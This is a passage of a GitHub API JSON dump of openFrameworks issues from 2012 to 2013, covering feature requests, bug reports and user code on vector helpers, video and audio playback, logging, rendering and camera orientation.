compatability"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","id":3432042,"number":1005,"title":"feature ofRandom(ofVec3f) ","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":12,"created_at":"2012-02-29T06:32:03Z","updated_at":"2012-03-01T13:02:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","id":3401755,"number":1001,"title":"OF app sound out not available from Jack","user":{"login":"enrike","id":710785,"avatar_url":"https://secure.gravatar.com/avatar/719e9e7ca6d6d88f3b8da82832cc94c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"719e9e7ca6d6d88f3b8da82832cc94c7","url":"https://api.github.com/users/enrike","html_url":"https://github.com/enrike","followers_url":"https://api.github.com/users/enrike/followers","following_url":"https://api.github.com/users/enrike/following","gists_url":"https://api.github.com/users/enrike/gists{/gist_id}","starred_url":"https://api.github.com/users/enrike/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/enrike/subscriptions","organizations_url":"https://api.github.com/users/enrike/orgs","repos_url":"https://api.github.com/users/enrike/repos","events_url":"https://api.github.com/users/enrike/events{/privacy}","received_events_url":"https://api.github.com/users/enrike/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-02-27T14:59:34Z","updated_at":"2012-05-18T08:47:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/987","id":3387163,"number":987,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-25T20:25:00Z","updated_at":"2012-02-25T20:25:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/985","id":3386914,"number":985,"title":"Make logging messages more informative","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":33,"created_at":"2012-02-25T19:41:58Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/984","id":3386889,"number":984,"title":"Replace printf() occurences by ofLog() in the core addons","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"state":"open","assignee":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"milestone":null,"comments":5,"created_at":"2012-02-25T19:36:51Z","updated_at":"2013-02-22T17:59:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/976","id":3382990,"number":976,"title":"ofVec2f::average has unexpected/clumsy behaviour","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-02-25T03:45:02Z","updated_at":"2012-02-27T13:35:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/955","id":3367910,"number":955,"title":"ofBackgroundGradient needs to be billboarded","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-02-24T04:31:01Z","updated_at":"2012-12-28T11:32:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/933","id":3357855,"number":933,"title":"Problem with moviePlayerExample under linux64","user":{"login":"agrosjea","id":1466085,"avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e52c167621119d58d03c586bb053a633","url":"https://api.github.com/users/agrosjea","html_url":"https://github.com/agrosjea","followers_url":"https://api.github.com/users/agrosjea/followers","following_url":"https://api.github.com/users/agrosjea/following","gists_url":"https://api.github.com/users/agrosjea/gists{/gist_id}","starred_url":"https://api.github.com/users/agrosjea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agrosjea/subscriptions","organizations_url":"https://api.github.com/users/agrosjea/orgs","repos_url":"https://api.github.com/users/agrosjea/repos","events_url":"https://api.github.com/users/agrosjea/events{/privacy}","received_events_url":"https://api.github.com/users/agrosjea/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-02-23T15:46:06Z","updated_at":"2012-02-23T19:12:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/931","id":3351646,"number":931,"title":"ofCamera is not aware of ofOrientation","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":30,"created_at":"2012-02-23T05:13:24Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/930","id":3351643,"number":930,"title":"ofSetupPerspective ofOrientation","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T05:12:47Z","updated_at":"2012-02-23T05:12:47Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/929","id":3351374,"number":929,"title":"ofGetLogLevel should also accept 